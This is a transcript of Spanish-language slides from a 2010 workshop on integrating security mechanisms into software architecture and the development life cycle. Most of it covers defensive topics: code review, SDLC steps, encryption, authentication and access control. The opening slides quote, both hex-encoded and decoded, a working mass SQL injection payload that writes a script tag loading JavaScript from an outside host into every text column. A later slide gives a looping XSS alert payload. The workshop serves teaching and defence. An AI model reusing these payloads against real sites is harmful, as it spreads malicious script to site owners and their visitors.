Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

65
Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

description

Taller dictado por el Ing. Danilo Jaramillo en Isummit Loxa 2010

Transcript of Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Page 1: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de Mecanismos de Seguridad en la arquitectura de

Aplicaciones Software

Page 2: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

2

¿Qué es esto?"GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens

%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Isummit2010

Page 3: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

3

Respuesta• "GET

/programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' wh??re '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Isummit2010

Page 4: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

4

Se conoce que

• El 75% de ataques a las aplicaciones actualmente se realizan en la capa de aplicaciones (Gartner).

• Hay mucha información de como hackear en la web

• Fallos de seguridad de aplicaciones pueden ser remediados a través de parches

• Ataques son realizados por personas que conocen mucho de aplicaciones (desarrolladores)

El costos y la reputación de las empresas de desarrollo de software se mide por la seguridad de la aplicación

Isummit2010

Page 5: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

5

Isummit2010

Page 6: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Isummit2010

Page 7: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

7

Isummit2010

Page 8: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

8

Agenda

1. Seguridad del Software2. Problemas de seguridad3. Integración de la Seguridad dentro del ciclo de vida

de desarrollo de software.4. Mecanismos de Seguridad en la arquitectura5. Tópicos adicionales de seguridad6. Preguntas7. TALLER

Page 9: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Flujo normal

Interrupcion

modificacion

intersepcionfabricación

Amenazas

Seguridad del Software

Page 10: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Seguridad de la Información -- Seguridad del software

La Seguridad de la información, tiene como finalidad la protección de la información y los SI, de su acceso, uso, divulgación, distribución no autorizada, además de proteger la confidencialidad, integridad y disponibilidad de la información y los datos, independientemente de su forma: electrónicos, impresos, audio u otras formas, incluso las conversaciones personales.

Seguridad del Software

Page 11: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Seguridad del software – Seguridad de la Información

• Dentro de la IS un objetivo es: que el software siga funcionado correctamente ante diferentes tipos de ataques maliciosos.

• El desarrollo y construcción de software seguro se enfoca– Análisis más eficiente – Trabajo serio dentro del análisis, referente a los

requisitos de seguridad

Seguridad del Software

Page 12: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Seguridad del software• Ingeniería de Requisitos de seguridad.• Diseño para la seguridad, arquitectura de

software y análisis. • Análisis de la seguridad, pruebas de seguridad, • Principios para la SS y estudios de caso en el

diseño y análisis.• Auditoría de software para la aplicación

riesgos, riesgos de arquitectura, herramientas automatizadas.

Seguridad del Software

Page 14: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Revisión de Código • La mayor parte de ataques de penetración se

dan por este camino. • Revisión de los errores, con herramientas de

análisis estático que escanean el código para descubrir vulnerabilidades.

• ejemplos son: Buffer overflow on line.., principalmente en lenguajes como C y C++,

• La Revisión de código es necesaria, pero no es suficientemente eficaz

Seguridad del Software

Page 15: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Pruebas de penetración • Las pruebas de penetración son útiles,

especialmente si una arquitectura de análisis de riesgos ha informa sobre estas pruebas.

• una ventaja en tener una buena comprensión de los programas informáticos sobre el terreno en su entorno real donde se van a desarrollar.

• Plan de pruebas

Seguridad del Software

Page 16: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Casos de abuso• Los casos de abuso son una forma de poder

determinar como se comportará un posible atacante del sistema.

• Similares a casos de uso, los casos de abuso del sistema, deben describir el comportamiento en virtud de un posible ataque;

• la construcción de casos de abuso requiere la cobertura explícita de la data que debe ser protegida, de quienes, y por cuánto tiempo.

Seguridad del Software

Page 17: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Requisitos de seguridad • La seguridad debe ser trabajada

explícitamente a nivel de requisitos. • Deben cubrirse tanto las necesidades de

seguridad abierta como de seguridad funcional aquí se puede mencionar, el uso de la criptografía.

Seguridad del Software

Page 18: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Operaciones de seguridad • La SS se puede beneficiar de la seguridad de la

red.• Estos dos elementos bien integrados permiten

las operaciones de seguridad. • Los conocimientos adquiridos mediante la

comprensión de los ataques deberían volver a un ciclo de desarrollo de software, convertirse -- requisitos de seguridad.

Seguridad del Software

Page 19: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

19

Agenda

1. Seguridad del Software2. Problemas de seguridad3. Integración de la Seguridad dentro del ciclo de vida

de desarrollo de software.4. Mecanismos de Seguridad en la arquitectura5. Tópicos adicionales de seguridad6. Preguntas

Page 20: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

PROBLEMAS DE SEGURIDAD

• Over flows• Errores en la validación de entradas como:

inyección SQL• Secuestro de sesiones (colocación del equipo del atacante en

algún lugar de la ruta de conexión)

• Ejecución de código remoto• XSS (ataque que permitiera ejecutar código de

"scripting", como VBScript ) "Cross Site Scripting“• Control de excepciones

Page 21: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

21

Over Flow

• consiste en sobrepasar la capacidad de cálculo o exceso de datos de una variable, esto es un error de programación.

• El gusano Morris fue el primer gusano auto-replicable, cuyo objetivo era averiguar las contraseñas de otras computadores, aprovechando dicha vulnerabilidad,

• C++• Controlado en .Net, Java• Demo de programa en C

Problemas de Seguridad

Page 22: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

22

Control de excepciones

• Mensajes de error con datos críticos, información relevante para un atacante– Servidor, ip, DB, tablas, usuarios, paths

• Demo con programa de Punto .Net

Page 23: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

23

SQL InyecciónProblemas de Seguridad

• Las inyecciones SQL son un problema común en sistemas que utilizan base de datos, consisten en modificar las sentencias SQL que son ejecutados en una base de datos. Por lo general la modificación de sentencias se lo hace a través de la interfaz gráfica de usuario.

• Procedimientos dinámicos• Parámetros de texto• Demo con programa de Visual Fox

Page 24: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

24

Gestión defectuosa de sesiones

• Control en tiempo por sesiones abiertas• Acceso a paginas lanzadas desde la aplicación• Demo sitios de internet.

Problemas de Seguridad

Page 25: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

25

XSS

• Su nombre original es Cross Site Scripting y es abreviado como XSS para no ser confundido con las siglas CSS. Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de scripting, como VBScript o Java Script, en el contexto de otro sitio web.

• <script>for(var i=0; 1==1; i++){alert (Hola Mundo)}</script>

Problemas de Seguridad

Page 26: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

26

Autenticación

• La autenticación permite la identificación de usuarios de un sistema, es una forma de saber, quién ingresa y qué rol tiene (Administrador, secretario, contador, gerente, etc.).

• La autenticación generalmente se lo hace a través de un usuario y contraseña, el usuario puede ser de dominio público (mail, el cual muchas personas lo conocen), pero la contraseña es de carácter privado.

• Contraseñas, fáciles de descifrar, no encriptadas.

Page 27: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

27

Autorización

• El acceso a módulos a los que no se tiene permiso de ingresar se controla con la autorización. Es decir la autorización es el mecanismo que sirve para verificar sí se tiene el permiso para ingreso a un determinado sitio y que se permite hacer una vez autenticado.

Page 28: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

28

Agenda

1. Seguridad del Software2. Problemas de seguridad3. Integración de la Seguridad dentro del ciclo de

vida de desarrollo de software.4. Mecanismos de Seguridad en la arquitectura5. Tópicos adicionales de seguridad6. Preguntas7. TALLER

Page 29: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

29

La seguridad en el ciclo de vida • No se debe confiar en la entrada del usuario!

• Se debe Validar siempre, incluye: encabezados, tipo y la longitud de los parámetros

• trucos de programación puede dar lugar a agujeros de seguridad

• Utilice el principio de mínimo privilegio

Seguridad SDLC

Page 31: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Consideraciones en el ciclo de vida de desarrollo de sistemas

Initiation Acquisition/Development

Implementation Operations/Maintenance

Disposition

SDLC | Security Considerations

* Necesidad, objetivos, misión y rendimiento* Evaluación de las alternativas (capital)* Preparación para la inversión y el presupuesto

________________- Categorización de Seguridad- Evaluación Preliminar de los Riesgos

* Documento de necesidades funcionales.* Investigación de Mercados*Estudio de Factibilidad* Análisis de Requerimientos* Análisis de Alternativas* Análisis Costo-Beneficio* Gestión de Riesgos* Adquisición de Planificación__________________* Evaluación de Riesgos*Análisis de la Seguridad Requisitos funcionales* Análisis de Requerimientos de seguridad*Consideraciones de costos*Planificación de la Seguridad*Desarrollo de Control de Seguridad*Como evaluar la seguridad

-Instalación-Inspección-Las pruebas de aceptación-Formación inicial del usuario-Documentación

____________________

- Integridad de los Sistema- Certificación de Seguridad- Acreditación de Seguridad

* Medir el rendimiento* Contrato de actualización* Operaciones de Mantenimiento

________________- Gestión de la Configuración y Control- vigilancia continua

* Adecuada eliminación*Intercambio y venta* Transferencia y donación* Contrato de cierre

_______________* Información de Conservación*Medidas de desinfección* Eliminación de hardware y software

Seguridad SDLC

Page 32: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

8 pasos para integrar la seguridad en el SDLC

NIST y ISO son complejos y costosos de implementar. recomendación del NIST consiste en adoptar y modificar según sea la necesidad.

1. Documentación formal2. Entrenamiento3. Requerimientos4. Arquitectura y diseño5. Implementación6. Despliegue7. Operación8. Terminación

Seguridad SDLC

Page 33: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLC Paso 1: Documentación formal

• Documento de normas, prácticas y políticas para el desarrollo, adquisición y/o mantenimiento de cualquier sistema.

• Uso del NIST, ISO 27001:2005, PCI, o cualquier otras normas de seguridad.

• Delimitar las funciones y responsabilidades• Metodología para la planificación y gestión de proyectos

– cómo los datos confidenciales deben ser recogidos, clasificados, inventariados, almacenados, compartidos y gestionados a través del tiempo.

– cómo las aplicaciones que "tocan" estos datos deben ser implementadas.

– Cubrir con auditoría, los requisitos de cifrado y el conjunto estándar de las tecnologías aprobadas (Arquitectura de Referencia)

– documenta y seguir un proceso formal de gestión del cambio

Seguridad SDLC

Page 34: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLC Paso 2: Entrenamiento

• Si los usuarios no están educados sobre los problemas de seguridad, reglamentos y leyes, cualquier sistema fracasará.

• Correo electrónico se utiliza sin intención de transmitir la información regulada o confidencial

• Los datos privados se ingresan en un campo de texto• Entrenar a líderes de proyecto, programadores y a las

empresas sobre seguridad de los datos y las políticas.– No asumir que el personal técnico y los vendedores son

conscientes de todas las cuestiones de seguridad.– Asignar personal adecuadamente formado: revisores

Page 35: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLCPaso 3: Requerimientos

• Identificar los requisitos de seguridad en la fase de levantamiento, adquisición de productos o el desarrollo

• Ejemplos de preguntas para hacer y poner en la plantilla• Metodología para Requisitos de Seguridad

Page 36: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Documento de requerimientos

• Diseño y formato de sus documentos de requerimientos para facilitar las pruebas.

Ejemplo:Sistema de funciones 1.1.a - Horario de las sesiones.

Cerrar sesiones 15 minutos de tiempo de inactividad.

Sistema de características 1.1.b - Al tiempo de espera de sesión, los datos serán borrados de la memoria y las tablas temporales.

Seguridad SDLC

Page 37: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLC Step 4: Arquitectura y diseño

• Dedicar un papel de seguridad en su organizaciónCentralizar la política de seguridad, revisiones de seguridad, el desarrollo de componentes de seguridad, operación y mantenimiento de las funciones de supervisión con personal calificado– Arquitectura de seguridad sobre todas las capas: base de datos, red,

sistema operativo, y la capa de aplicaciónser flexible para apoyar la integración de las nuevas tecnologías

– proporcionar un enfoque modular para la autenticación y autorizaciónasignar niveles de seguridad de forma consistente, a nivel más bajo de acceso requeridos por el individuo, la seguridad más estricta

• Identificar los puntos vulnerables, los componentes de diseño y reutilización común y probado

• Consolidar el almacenamiento de datos sensibles - importante

Seguridad SDLC

Page 38: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Comunicación con los distribuidores de programas

• Documentar cómo los datos son utilizados por cada componente -a dónde vaTransmisiones / intercambios de información privada debe ser encriptada utilizando protocolos como:–HTTPS–SFTP–SSH–STunnel–VPN

• Documentar cómo se autentica una aplicación o componente a otro servicio - contraseñas, certificados PKI, secretos, IP restringido?

Seguridad SDLC

Page 39: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLC Step 5: Implementación Adquisición

• Hacer de la seguridad una rutina• Calendario de escaneo de configuración, para evitar vulnerabilidad, en

servidores nuevos - incluso para el desarrollo• Exigir revisiones de códigos de seguridad y base de datos

– Automatización de procesos todas las noches código estático y dinámico – Utilizar herramientas de análisis

• Requerir a los desarrolladores a construir unidades de prueba• Requerir a los desarrolladores reutilizar componentes probados de

seguridad• Un solo inicio de sesión, la autorización de la API, los objetos de la

identidad del usuario, el registro de la API– Lista de aplicaciones web normales, pruebas de penetración de un día– Identificar los datos confidenciales de prueba– Escribir el manual de procedimientos de pruebas de seguridad– Realizar la concurrencia, la carga y las pruebas de estrés– Detección de defectos de diseño inicial - más caros de solucionar

después

Page 40: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Revisión de Código – un proceso• Manual de Revisión del Código debería por lo menos se centran

en http://www.owasp.org/index.php/Code_Review_Processes : – Autorización– Control de Acceso– De validación de entrada– Control de errores– Gestión de Sesiones– Teclas de formulario o de rotación frecuente de sesión (para la defensa CSRF)– Adecuada aplicación de registro– Base de datos de acceso y actualizaciones, encriptación de datos

• Utilice herramientas automatizadas - prestar atención a los falsos negativos y falsos positivos. No sustitución de las revisiones de código manual.

• Metricas http://www.owasp.org/index.php/Code_review_Metrics– densidad de defectos, las líneas de código, puntos de función– http://www.parasoft.com/jsp/products/dottest.jsp

Requisitos de seguridad de codigo

Page 41: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Modelando para la seguridad

Cuando cree tablas en la base de datos:

– No use datos confidenciales como elementos de las llaves en las tablas, estas no puede ser cambiadas

– Normalizar la informacion confidencial en una sola tabla• Habrá que auditar solo una tabla o una columnas• Encriptar una sola tabla• Donde almacenar los datos delicados• Ejercicios de simulacro de alerta de intrusión y preparar• Revisión de los registros de la capacidad de análisis

forense

Page 42: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLC Step 6: Despliegue

• Crear y asegurar entornos de desarrollo, prueba y producción• Necesarios para el cumplimiento de pago de tarjetas de crédito

• Entrenar a personal para Atención al cliente• Tenga en cuenta la política de no permitir que los datos confidenciales en

equipos portátiles u otros dispositivos portátiles• Piense acerca de cómo utilizar las impresoras. • Cortar y pegar?

• Administrar profesionalmente copias de seguridad del sistema y los datos?• copias de seguridad, identificar a las personas comprometidas• Fuera de las instalaciones copias de seguridad? ¿Dónde? En su casa?

• planes de recuperación ante desastres?

Page 43: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLC Step 7: Operacion/Mantenimiento

• Catálogo e inventario de uso de datos personales• Hacer “una rutina" revisiones de seguridad, auditorías, cambios de

contraseña• Escaneo de vulnerabilidades• Aplicar los parches de seguridad a tiempo en todas las capas de

arquitectura– Sistema operativo, servidor de seguridad, bases de datos,

plataforma• Control de cambios

– Reunión semanal para todos los desarrolladores y administradores

– Coordinar y programar los cambios en la red, base de datos, aplicaciones, sistemas operativos, servidores de seguridad y configuraciones.

Page 44: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Integración de la Seguridad en el SDLC Paso 8: Terminación

• Datos– Retención y cumplimiento de la conservación

• Como deshacerse de hardware y software– ¿El período de retención de datos chocan con un extremo de

software de su vida útil? – Es el almacenamiento de datos necesarios?– Desinfectar los medios de comunicación profesional –

desmagnetización. Hacer frente a las copias de seguridad• Actualización de catálogo de datos de carácter personal de

nuevo

Seguridad SDLC

Page 46: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

47

Agenda

1. Seguridad del Software2. Problemas de seguridad3. Integración de la Seguridad dentro del ciclo de vida

de desarrollo de software.4. Mecanismos de Seguridad en la arquitectura5. Tópicos adicionales de seguridad6. Preguntas7. TALLER

Page 47: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

48

MECANISMOS

preventivos, que actúan antes de que un hecho ocurra y su función es detener agentes no deseados;

detectivos, actúan antes de que un hecho ocurra además su función es revelar la presencia de agentes no deseados; y,

los correctivos: actúan luego de ocurrido el hecho y su función es corregir las consecuencias.

La determinación de aplicarlos estos mecanismos es responsabilidad de cada organización

Page 48: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

MECANISMOS DE SEGURIDAD• Integridad de datos• Firma digital• Tráfico de relleno• Control de encaminamiento• Unicidad• Cifrado• Intercambio de autentificación• Control de acceso

Mecanismos de Seguridad

Page 49: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

50

INTEGRIDAD DE DATOS

• implica el cifrado de una cadena comprimida de datos a transmitir, para verificar que los datos no han sido modificados. Normalmente se llama valor de comprobación de integridad, el mismo que se envía al receptor junto con los datos originales. El receptor realiza el proceso contrario y comprar los resultados.

Mecanismos de Seguridad

Page 50: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

51

FIRMA DIGITAL,• en un documento que es el resultado de aplicar un algoritmo

matemático (hash) al contenido y aplicar luego un algoritmo de firma al resultado en el que se emplea una clave privada. Se mencionan validaciones que debe realizar el software de firma digital:– Vigencia del certificado digital del firmante,– Revocación del certificado digital del firmante (puede ser por OCSP

o CRL),– Inclusión de sello de tiempo.

• Hash es un algoritmo matemático el mismo que calcula un valor resumen de los datos a ser firmados, particularmente a partir de el valor obtenido no se pueden obtener los datos originales por lo que se lo conoce como unidireccional. Al adjuntar el valor al contenido el destinatario aplica la función y comprueba los resultados obtenidos para determinar la veracidad de la información

Mecanismos de Seguridad

Page 51: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

52

TRÁFICO DE RELLENO

• consiste en enviar tráfico falso junto con los datos válidos para que el atacante no sepa si se está enviando información, ni qué cantidad de datos útiles se está transmitiendo.

Mecanismos de Seguridad

Page 52: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

53

CONTROL DE ENCAMINAMIENTO,

• permite enviar determinada información por determinadas zonas consideradas clasificadas. Así mismo posibilita solicitar otras rutas, en caso que se detecten persistentes violaciones de integridad en una ruta determinada.

Mecanismos de Seguridad

Page 53: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

54

UNICIDAD

• consiste en añadir a los datos un número de secuencia, la fecha y hora, un número aleatorio, o alguna combinación de los anteriores, que se incluyen en la firma digital o integridad de datos.

• De esta forma se evitan amenazas como la reactuación o resecuenciación de mensajes.

Mecanismos de Seguridad

Page 54: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

55

CIFRADO

• consiste con la utilización de un mecanismo de cifrado que permite transforma un texto claro a un texto cifrado que no podrá ser entendido por otros, si no se conoce la clave que se utilizó para el cifrado.

• si se utiliza la misma llave para cifrar y para descifrar los datos hablando de un cifrado simétrico. Este tipo de cifrado es mucho más rápido que aquellos donde se utilizan llaves públicas. Un ejemplo de estos algoritmos los podemos en: IDEA, RC5, DES, TRIPLE DES.

• demo

Page 55: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

56

INTERCAMBIO DE AUNTENTIFICACIÓN

• una parte demuestra la identidad que afirma tener• más común es el nombre de usuario y contraseña

(más utilizadas actualmente). • En SI, se puede trabajar con la autentificación

desde las máquinas clientes donde es muy sensible la información esto debido a que un alguien que tenga acceso a los servidores podrá suplantar las claves y la identidad de un usuario real.

• se puede realizar a través de claves de accesos, dispositivos biométricos, etc..

Mecanismos de Seguridad

Page 56: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

57

INTERCAMBIO DE AUNTENTIFICACIÓN

• proceso de encriptación de claves dentro de los mismos SI

• Con la ayuda de procesos experimentados de autentificación que son provistos por determinadas empresas para el uso de los mismos, una de estas podríamos enunciar a la herramienta Active Directory.

• Demo sitio profesor

Page 57: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

58

CONTROL DE ACCESO

• Permite determinar los permisos y privilegios de acceso otorgados a un objeto dependiendo del rol que cumple en un determinado proceso.

• Las listas de acceso para controlar el tráfico entre equipos de redes, permitiendo y denegando el tráfico de acuerdo a las condiciones que las pone el administrador.

Mecanismos de Seguridad

Page 58: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

59

CONTROL DE ACCESO,

• A nivel de la base de datos• A nivel de la aplicación• Demostración Oracle (grants)• Demostración software CEDIB

Page 59: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

60

Mecanismos y ArquitecturaArquitecturas

Mecanismos de seguridad

Monolítica C/S 3 capas

Autentificación X X XCifrado X XIntegridad de los

DatosX X X

Control de encaminamiento

X

Autorización X X X

Mecanismos de Seguridad

Page 60: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

61

ARQUITECTURA DE SOFTWARE

La Arquitectura de Software es una vista de alto nivel que define el o la combinación de estilos para la solución de sistema de software, además es una organización a alto nivel del sistema que incluye aspectos como: descripción y análisis de propiedades relativas a su estructura y control global, los protocolos de comunicación, la distribución física del sistema y sus componentes.

Page 61: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

62

Page 62: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

Security Architecture – Multi-layerPolíticas, estándares, procedimientos, Técnicas referentes a la

arquitecturaAprovechamiento de herramientas y el ciclo de vida

Aprobación de excepcionesRevisiones reguladas

USUARIOManejo de

IdentificaciónAutentificación

Educación

REDAdministración

Firewall, Encriptación,

APLICACIÓNAutorización

Login/auditoriaHerramientas

de prueba

DATOSAutorización

LoginEncriptación,

inventario

OPERACIÓNBackups

Login/auditoriaRecuperación ante desastres

http://apps.adcom.uci.edu/expresso/econtent/Content.do?resource=4

Mecanismos de Seguridad

Page 63: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

64

Agenda

1. Seguridad del Software2. Problemas de seguridad3. Integración de la Seguridad dentro del ciclo de vida

de desarrollo de software.4. Mecanismos de Seguridad en la arquitectura5. Tópicos adicionales de seguridad6. Preguntas

Page 64: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

65

Tópicos

• Personal informático de la empresa• Personal externo de la empresa• No dejar de hacer revisiones manuales• Toda la arquitectura debe trabajar en conjunto

para aplicar la seguridad• Logs de la aplicación• Cambio periódico de claves• La seguridad en dispositivos móviles

Page 65: Integración de Mecanismos de Seguridad en la arquitectura de Aplicaciones Software

66